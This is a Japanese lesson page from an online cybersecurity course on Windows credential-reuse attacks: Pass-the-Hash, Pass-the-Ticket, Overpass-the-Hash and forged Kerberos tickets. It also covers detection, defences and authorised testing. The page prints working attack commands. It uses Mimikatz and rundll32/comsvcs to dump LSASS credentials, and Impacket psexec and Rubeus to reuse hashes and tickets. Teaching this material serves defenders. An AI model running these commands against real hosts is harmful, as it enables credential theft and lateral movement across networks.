Pass-the-HashとPass-the-Ticket
盗まれた認証情報を再利用します。
「Pass-the-HashとPass-the-Ticket」はCoddyKit上の無料Cyber Security Academyレッスンです。 これはレッスン3/4です。 下記で完全なレッスンを無料で読むことができます。その後、ブラウザ内の組み込みコードエディタと24時間対応のAIチューターでハンズオン演習できます。 これはCyber Security Academy学習パスの一部であり、ウェブとCoddyKitアプリ全体で進捗が同期されます。 Cyber Security Academyコースには全4レッスンが含まれています。
パスワードを使わない認証情報
Windows認証では、使用時点で平文のパスワードを必要としないことがよくあります。NTLMハッシュもKerberosチケットも、それ自体で認証に使用できます。攻撃者はこの点を悪用し、認証情報のアーティファクトを窃取して再利用します。
- Pass-the-Hash (PtH)はNTLMハッシュを再利用します。
- Pass-the-Ticket (PtT)はKerberosチケットを再利用します。
- いずれもパスワードをクラックする必要はありません。
認証情報の保存場所
通常の運用中、認証情報のデータはメモリとディスクにキャッシュされます。一般的な保存場所には次のようなものがあります。
- LSASSのプロセスメモリには、ログオン中のユーザーのハッシュとチケットが保持されます。
- SAMデータベースには、ローカルアカウントのハッシュが保存されます。
- DC上のNTDS.ditには、すべてのドメインハッシュが保存されます。
- DPAPIで保護された認証情報ボルトやブラウザーの保存領域もあります。
最も一般的な収集手順は、LSASSをダンプすることです。
# Mimikatz: dump logon passwords and hashes
privilege::debug
sekurlsa::logonpasswords
# Comsvcs minidump of lsass (living-off-the-land)
rundll32 C:\windows\system32\comsvcs.dll, MiniDump <pid> lsass.dmp fullPass-the-Hashの仕組み
NTLM認証では、チャレンジレスポンスによって、パスワードのハッシュを秘密情報として使用し、パスワードを知っていることを証明します。ハッシュを持っていれば、パスワードを一度も知らなくてもハンドシェイクを完了できます。
そのため、NTハッシュはパスワード相当物になります。NTLMを受け入れるサービスには、ハッシュだけでアクセスできます。
# Mimikatz pass-the-hash spawns a process with injected creds
sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:<NThash> /run:cmd.exe
# Impacket psexec via hash
psexec.py -hashes :<NThash> corp.local/Administrator@10.0.0.20Pass-the-Ticketの仕組み
Kerberosチケットはベアラートークンです。有効なTGTまたはTGSを持っている者は、有効期限が切れるまでそれを使用できます。攻撃者はLSASSからチケットを抽出し、自分のセッションに注入します。
- TGTを窃取すると、そのユーザーとしてサービスチケットを要求できます。
- TGSを窃取すると、特定の1つのサービスにアクセスできます。
# Export all tickets, then inject one
Rubeus.exe dump /nowrap
Rubeus.exe ptt /ticket:doIF... (base64 blob)
# Mimikatz
sekurlsa::tickets /export
kerberos::ptt ticket.kirbiOverpass-the-Hash
Overpass-the-Hash(別名 pass-the-key)は、NTLMとKerberosを橋渡しします。窃取したNTLMキー(またはAESキー)を使って正規のKerberos TGTを要求し、その後はKerberosだけで操作します。
生成される通信が通常のKerberos認証に見えるため、通常のPtHよりも発見されにくい方法です。
# Rubeus: turn an NTLM hash into a TGT
Rubeus.exe asktgt /user:svc_sql /rc4:<NThash> /ptt
# AES key is even quieter than RC4
Rubeus.exe asktgt /user:svc_sql /aes256:<key> /pttGolden TicketとSilver Ticket
より深く侵入した攻撃者は、チケットそのものを偽造します。
- Golden Ticketは、krbtgtハッシュで署名された偽造TGTです。任意のIDを付与でき、krbtgtを2回ローテーションするまで有効です。
- Silver Ticketは、サービスアカウントのハッシュで署名された、1つのサービス向けの偽造TGSです。DCに一切アクセスしないため、発見されにくい特徴があります。
- Diamond Ticketは、正規に発行されたTGTを変更し、チケット偽造の検知を回避します。
ラテラルムーブメントのパターン
再利用された認証情報がラテラルムーブメントを可能にします。一般的な実行経路には次のようなものがあります。
- SMBとサービス作成(psexec-style)
- WMIによるリモートプロセス作成
- WinRM / PowerShell Remoting
- DCOMによるオブジェクトのインスタンス化
窃取した同じハッシュやチケットによって、そのアカウントがローカル管理者である多くのホストのロックを解除できます。
ローカル管理者の再利用が危険な理由
複数のマシンで単一のローカル管理者パスワードを共有することは、壊滅的なリスクになります。一度ダンプすれば、そのパスワードを共有するすべてのホストにPtHで侵入できます。
LAPSは、マシンごとに固有のローカル管理者パスワードを設定してローテーションし、制限された読み取りアクセスでADに保存することで、この問題を解決します。
検知
これらの攻撃は、監視すべきデータを確認していれば、テレメトリに痕跡を残します。
- Kerberosが想定される環境で、NTLMを使用するログオンタイプ
3/9 - seclogonを伴うイベント
4624、または特権アカウントからの通常とは異なるNTLM - チケットの異常:先行するTGTのないTGS(Silver Ticket)、または有効期間が異常なチケット(Golden Ticket)
- 標準以外のプロセスからのLSASSアクセス(Sysmonイベント
10)
防御策
堅牢化では、認証情報を保護し、分離することに重点を置きます。
- Credential Guardを有効にして、VBSエンクレーブ内でLSASSの秘密情報を分離します。
- 機密性の高いアカウントをProtected Usersに追加します(NTLMなし、委任なし、チケットの有効期間は短くなります)。
- LAPSを導入し、管理者の階層化を徹底して、Tier 0の認証情報がワークステーションに置かれないようにします。
- Golden Ticketの侵害が疑われる場合は、
krbtgtを2回ローテーションします。
責任あるテスト
LSASSのダンプやチケットの偽造は、影響の大きい操作です。明示的な承認を得たうえで、合意された対象に対してのみ実施してください。スコープに含まれていない限り、本番DCのダンプは避け、収集したハッシュとチケットは報告後に安全に破棄してください。
防御チームが検知の発火を検証できるよう、認証情報を再利用した操作をそれぞれ記録してください。
理解度チェック
認証情報の再利用攻撃について理解できているか確認します。
復習
窃取したハッシュとチケットによって、パスワードを完全に回避できる仕組みを学びました。
- PtHはNTLMハッシュを再利用し、PtTはKerberosチケットを再利用します。
- Overpass-the-Hashは、ハッシュをクリーンなKerberos TGTに変換します。
- Golden Ticket、Silver Ticket、Diamond Ticketは、永続化のために偽造されます。
- Credential Guard、LAPS、Protected Users、krbtgtのローテーションが主要な防御策です。
次は、足がかりをドメイン全体の支配へと発展させる方法を扱います。
AI チューターと学ぶ Cyber Security Academy — 無料
ブラウザでリアルコードを書いて実行し、24/7 の AI チューターから瞬時にサポートを受け、ウェブまたはアプリで続きから学習できます。
- コース
- 76
- レッスン
- 303
よくある質問
「Pass-the-HashとPass-the-Ticket」レッスンは無料ですか?
はい。「Pass-the-HashとPass-the-Ticket」の完全なテキストはこのウェブで無料で読めます。インタラクティブに演習し(組み込みコードエディタと24時間対応のAIチューター)、Cyber Security Academyコースの残りをアンロックするには、CoddyKit PROにアップグレードしてください。 Cyber Security Academyコースには全4レッスンが含まれています。
「Pass-the-HashとPass-the-Ticket」で何を学びますか?
盗まれた認証情報を再利用します。 ブラウザで直接実行するハンズオンコードでCyber Security Academyを演習し、24時間対応のAIチューターがレッスンを進める中での質問に答えます。
Cyber Security Academyを始めるのに経験は必要ですか?
事前経験は必要ありません。CoddyKitのCyber Security Academyは初級者から上級者向けに構成されているため、ここから始めるか最初から始めて、自分のペースで進むことができます。 これはレッスン3/4です。
「Pass-the-HashとPass-the-Ticket」レッスンにはどのくらい時間がかかりますか?
ほとんどのCoddyKitレッスンは約5~10分かかります。各レッスンはコンパクトでインタラクティブなので、着実に進歩し、ウェブとアプリ全体で正確に前回の場所から再開できます。
このCyber Security Academyレッスンでコードを書いて実行できますか?
はい。すべてのCyber Security Academyレッスンに組み込みコードエディタが含まれているため、ブラウザでリアルコードを書いて実行し、即座のAIフィードバックを取得できます。ローカル設定は不要です。
このコースのすべてのレッスン
- Active Directoryの攻撃対象領域
- KerberosとKerberoasting
- Pass-the-HashとPass-the-Ticket
- 権限昇格とドメイン支配